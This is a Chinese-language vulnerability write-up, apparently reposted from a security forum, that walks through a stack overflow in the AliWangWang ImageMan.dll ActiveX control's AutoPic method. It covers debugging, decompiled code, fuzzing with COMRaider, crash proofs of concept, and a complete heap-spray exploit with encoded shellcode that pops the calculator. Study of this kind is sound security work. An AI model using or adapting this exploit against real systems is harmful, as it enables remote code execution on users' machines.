漏洞分析学习之某ActiveX控件imageMan.dll栈溢出
2020-03-20 10:53:05 Author: xz.aliyun.com(查看原文) 阅读量:375 收藏

前言

前段日子准备复现分析下这个漏洞的,然后谷歌百度全都搜不到这个AliIM2010版本的这个东西,找了一天无奈放弃,今天无意从漏洞战争随书资料里看到有这个安装包,便开始了分析之旅

漏洞战争随书资料可以从github下载

环境配置

测试环境:

X 推荐环境 备注
操作系统 win_xp_sp3_pro 简体中文版
虚拟机 vmware 15.5
调试器 ollydbg 吾爱破解od
反汇编器 IDA pro 版本号:7.0
漏洞软件 AliIM2010_taobao 版本号: 6.50.00C

poc及exp均在漏洞战争随书资料里获取

基于POC的漏洞验证

哈哈这里我感觉我有点傻逼啊,我打开了阿里旺旺,附加了,然后运行断点怎么没断下,而且阿里旺旺也没退出什么的,poc是不是无效啊,第一反应,然后打开了弹计算器的exp,然而弹出了计算器,断点还是没断下,然后才反应过来,我应该附加错了,应该附加的是ie浏览器,因为他会退出,会弹计算机

稍微思考一下,我装了这个软件,然而并不用运行就可以拿shell,这个东西有点怪异哦,是什么原因导致的呢,暂时放下,调试下

从Windbg附加运行,报错,

我们得到一个dll名称,ImageMan

C:\Program Files\AliWangWang\Pictool\ImageMan.dll

这里我们从我加粗那一行得到一个地址,

这里得到一个地址,1001ac2b,重新调试在此处下断,然后发觉根本运行不起来,基于栈回溯的方法在这里用不了?

然后上ollydbg发觉也没办法,他会中断

运行起来就变成这样了,原来一直不知道原因,查了下,就是查sysenter

在看雪找到一篇帖子 SYSENTER 原因是因为其进入了Ring0层,ollydbg这种Ring3调试器无法进入,而windbg是可以调试内核的,所以他是进入得了,然而windbg下断点总是在gdiplus.dll处断下,具体原因未详,但对调试极为不利,我还是觉得ollydbg是可以调试的,因为别人的文章也用ollydbg,应该是吾爱的那个od配置了什么,导致无法断下,我将其异常全部取消忽略,也无法断下,换了个ollydbg就成了。。。

然后通过基于栈回溯的方法,一直追,追到了函数的开头处

过程大概是,断点,重新运行,断下后在堆栈窗口,找到返回地址,跟随反汇编,然后继续断点,重复以上步骤三次便可以追溯到这里,打开ida,进行分析

源码分析

用ida打开随书资料的idb,查看关键代码部分

int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
  const OLECHAR *v4; // eax
  char v5; // [esp+Ch] [ebp-314h]
  const CHAR MultiByteStr[260]; // [esp+10h] [ebp-310h]
  char *v7; // [esp+114h] [ebp-20Ch]
  CHAR FullPath; // [esp+118h] [ebp-208h]
  char v9; // [esp+119h] [ebp-207h]
  __int16 v10; // [esp+219h] [ebp-107h]
  char v11; // [esp+21Bh] [ebp-105h]
  char Str; // [esp+21Ch] [ebp-104h]
  char v13; // [esp+21Dh] [ebp-103h]
  __int16 v14; // [esp+31Dh] [ebp-3h]
  char v15; // [esp+31Fh] [ebp-1h]

  FullPath = 0;
  memset(&v9, 0, 0x100u);
  v10 = 0;
  v11 = 0;
  WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
  MultiByteStr[0] = 0;
  memset((void *)&MultiByteStr[1], 0, 0x100u);
  *(_WORD *)&MultiByteStr[257] = 0;
  MultiByteStr[259] = 0;
  v7 = strrchr(&FullPath, '\\');
  Str = 0;
  memset(&v13, 0, 0x100u);
  v14 = 0;
  v15 = 0;
  mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1);// 触发崩溃!
  sub_100271FE(&Str);
  sub_10018BA1(&FullPath, (int)MultiByteStr);
  sub_1001BFE0(MultiByteStr);
  if ( a3 )
  {
    v4 = (const OLECHAR *)sub_1001C060(&v5);
    *(_DWORD *)a3 = SysAllocString(v4);
  }
  sub_1001C040(&v5);
  return 0;
}

这里写了mbsnbcpy这里触发了崩溃,这个函数很类似strncpy(源字符串,目的字符串,长度),将目的字符串按照指定长度复制到原字符串里

这里查看文档mbsnbcpy的解析 查看文档发觉确实类似,这里应该就是

template <size_t size>
errno_t _mbsnbcpy_s(
   unsigned char (&strDest)[size],
   const unsigned char * strSource,
   size_t count 
); // C++ only
/*
strDest
要复制的目标字符字符串。
sizeInBytes
目标缓冲区大小。
strSource
要复制的字符字符串。
count
要复制的字节数。
locale
要使用的区域设置。
*/

也就是说第三个参数就是长度,v7-&FullPath + 1的长度,越界了,那看v7跟FullPath哪里来的

v7 = strrchr(&FullPath, '\\');

FullPath

WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);

这里又遇到两个没有见过的函数,查文档呗

strrchr

WideCharToMultiByte)

这里strrchr就是查询\最后一次出现位置,WideCharToMultiByte就是把宽字符串转换成指定的新的字符串,

类型的变量,++ 或者 -- 新增(减少)的数量是去掉一个后变量的宽度,所以就是中间隔了多少个char,在这里就相当于到 \的长度,所以不输入\的话,就是null-起始地址+1是个负数,就越界了

所以关键点就是控制 lpWideCharStr,而这里已经帮我们构造好了,是AAAA,我们现在查看poc,是如何构造的

poc分析

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

classid com組件在注册表的唯一标识,从注册表可以找到

目录结构

  • HKEY_CLASSES_ROOT
    • ImageMan.ImageManager
      • CLSID
      • CurVer

CLSID 便是该组件了,而这里可以看到,他调用了该组件的AutoPic函数,也就是我们刚刚用id分析的函数,然后直接调用该组件函数,就可以了,似乎很简单? 那我们fuzz是不是也是很简单

  1. 设置组件id
  2. 调用函数
  3. 生成poc测试

fuzz测试

这里运用到COMRaider,因为是com组件导致的,所以直接利用现成的工具,不要重复造轮子,虽然我也不会造这个轮子吧

这里可以看到直接显示了组件id,跟注册表里看的一样,同时我们还看到了分析出问题的函数,AutoPic,

点击接口,然后点fuzz member会生成一堆测试数据,然后点netx就可以了

具体过程我不测试了,测Autopic的话,每个都报异常了,也就是说这里可能存在栈溢出,

这个生成的poc

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.134 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll"
prototype  = "Sub AutoPic ( ByVal szFileName As String ,  ByRef szOut As String )"
memberName = "AutoPic"
progid     = "IMAGEMANLib.ImageManager"
argCount   = 2

arg1=String(2068, "A")
arg2="defaultV"

target.AutoPic arg1 ,arg2 

</script></job></package>

跟我们那个几乎一样,都是传了对接口传入大量的测试数据,然后造成crash检测

漏洞利用

这里,我们已经测试出了关键点,接下来就需要确定长度,然后利用堆喷进行利用,堆喷不再进行分析,需要注意的一点就是

由于IE6中javascript的实现,使得字符串赋值给一个变量时并不会开辟新的内存空间(类似于C中的指针取地址),只有当字符串发生连接操作时(substr或是+),才会为字符串开辟新的内存空间。

所以构造shellcode的时候注意下这点就可以

直接利用所给的exp

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) 
    memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
    s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

You can see that!! 确实很美妙

总结

  1. 遇到事情不要一根筋,灵活转变下思路,比如ollydbg用不了,可以用Windbg,至于Windbg用硬件断点那个,我就没测试了
  2. 堆喷到时候系统地学习下如何构造及利用
  3. ActiveX控件的调试dll是动态加载的,不能直接下断,这里利用windbg的命令 sxe ld:模块名称 (ps:虽然在这题我用上了,但出错了,不过还是学习到了一种思路)

参考链接

阿里旺旺AtiveX控件栈溢出漏洞分析

对ActiveX控件进行Fuzzing测试发掘漏洞--希望对新手有帮助


文章来源: http://xz.aliyun.com/t/7395
如有侵权请联系:admin#unsafe.sh